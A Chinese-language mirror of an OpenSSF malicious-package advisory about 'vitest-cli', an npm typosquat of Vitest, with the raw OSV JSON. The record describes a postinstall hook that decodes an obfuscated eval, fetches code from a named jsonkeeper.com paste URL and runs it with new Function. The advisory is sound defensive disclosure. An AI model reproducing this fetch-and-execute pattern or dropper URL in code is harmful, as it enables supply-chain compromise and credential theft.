目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

vitest-cli

MAL-2026-6267
2026-06-23 17:05:18
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in vitest-cli (npm)

凭据/密钥窃取安装阶段执行
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
6
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmvitest-cli*
npmvitest-cli1.0.0
npmvitest-cli1.0.3
npmvitest-cli1.0.4
npmvitest-cli1.0.7
npmvitest-cli1.0.9
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-06-23T17:05:18Z","published":"2026-06-22T18:23:57Z","schema_version":"1.7.4","id":"MAL-2026-6267","aliases":["GHSA-c35r-fwrq-cgq9"],"summary":"Malicious code in vitest-cli (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (27abcc7f2373309feb253b0cc48b1a8bae7c54a3c43aed0c57add697f4067aba)\nPackage name `vitest-cli` impersonates the official Vitest project while declaring empty `author`, `homepage`, `repository`, and `bugs` metadata. The `package.json` declares `scripts.postinstall: node scripts/postinstall.js`, which auto-runs on every `npm install`. The postinstall reaches `lib/postinstall/index.js` line 23, which evaluates a P.A.C.K.E.R.-obfuscated blob via `eval((function(p,a,c,k,e,d){...})(...))`. Once decoded, the payload calls `axios.get('https://jsonkeeper.com/external/W33XO')` and executes the response's `data.cookie` field with `new Function('require', r.data.cookie)(require)`, retrying up to three times with 10-minute delays. jsonkeeper.com is an anonymous, mutable JSON paste host — the publisher can swap the executed bytes at any time without republishing the package. The thin wrapper around this dropper merely locates an installed `vitest` and spawns it as cover. Installer impact: arbitrary attacker-controlled JavaScript runs with full Node privileges on every developer machine and CI runner that installs this package, with access to environment variables, source trees, and credentials reachable from the install context. The combination of a typosquat name against a popular target, empty publisher metadata, P.A.C.K.E.R. obfuscation of the network+exec payload, mutable-paste-host fetch URL, and direct `new Function` execution of the response body is an unambiguous supply-chain attack.\n\n## Source: ghsa-malware (965bb2e5371c6561cacd40167a0ec3b097441cce0f854fc0c981ca07d007d139)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"ecosystem":"npm","name":"vitest-cli"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.3","1.0.7","1.0.0","1.0.9","1.0.4"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"lib/postinstall/index.js","sha256":"467451342d130f3bd4f1d8b0f0e4275c5074f455e487cf08759152b5b2ad72bf","tlsh":"bf51435a369b223728327bbaef530525f626d31361458294beeda4511f7b0608173eec"},{"path":"package.json","sha256":"c04772a070f3349ca5d27e264c879ca7c8ce641cfe39280b6f887c6f63c78ca2","tlsh":"83110816d4a7aea365f8aba26c258305f1219b2fc2640d0b31f3406c4fb696704b5f7d"}],"package_integrity":[{"filename":"vitest-cli-1.0.3.tgz","hashes":{"sha1":"f8380e1ae7160166ab4989e1585fbb75a3d92d5c","sha512_sri":"sha512-fs3J8o5IPEj6MfqUKigXuWKk6jDWMN5qwDs2ZhmOvyUGbi+fGfw9HT3g1nq5sZo+oDhMJHc8zvLabRoODMyJDw=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/vitest-cli/v/1.0.3"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/vitest-cli/v/1.0.7"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/vitest-cli/v/1.0.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/vitest-cli/v/1.0.9"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/vitest-cli/v/1.0.4"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-c35r-fwrq-cgq9"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","sha256":"27abcc7f2373309feb253b0cc48b1a8bae7c54a3c43aed0c57add697f4067aba","import_time":"2026-06-22T18:25:29.224986465Z","id":"IN-MAL-2026-007152","modified_time":"2026-06-22T18:24:00Z","versions":["1.0.3"]},{"source":"amazon-inspector","sha256":"6017b4312bda8bd777fb1eef29cc295a844f5a837def062e84f808053fee1f1a","import_time":"2026-06-22T18:25:29.155833831Z","id":"IN-MAL-2026-007151","modified_time":"2026-06-22T18:23:59Z","versions":["1.0.7"]},{"source":"amazon-inspector","sha256":"737c0ff92560e5d8de4f76e066f3d632193e3b82acc6abd9788cb9821b1fd720","import_time":"2026-06-22T18:25:29.406321378Z","id":"IN-MAL-2026-007154","modified_time":"2026-06-22T18:24:03Z","versions":["1.0.0"]},{"source":"amazon-inspector","sha256":"c44d72455b57ac4a093fd803c5973504e7ae3a904408990f821d2ea6c7b6c2cb","import_time":"2026-06-22T18:25:29.057279157Z","id":"IN-MAL-2026-007150","modified_time":"2026-06-22T18:23:57Z","versions":["1.0.9"]},{"source":"amazon-inspector","sha256":"ec2320f1b6d467ce7ef129392a8a9a5861b44fb87cf672d95390a4eed090ef4b","import_time":"2026-06-22T18:25:29.332383583Z","id":"IN-MAL-2026-007153","modified_time":"2026-06-22T18:24:01Z","versions":["1.0.4"]},{"source":"ghsa-malware","sha256":"965bb2e5371c6561cacd40167a0ec3b097441cce0f854fc0c981ca07d007d139","import_time":"2026-06-23T17:03:25.700232029Z","id":"GHSA-c35r-fwrq-cgq9","modified_time":"2026-06-23T15:48:41Z","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0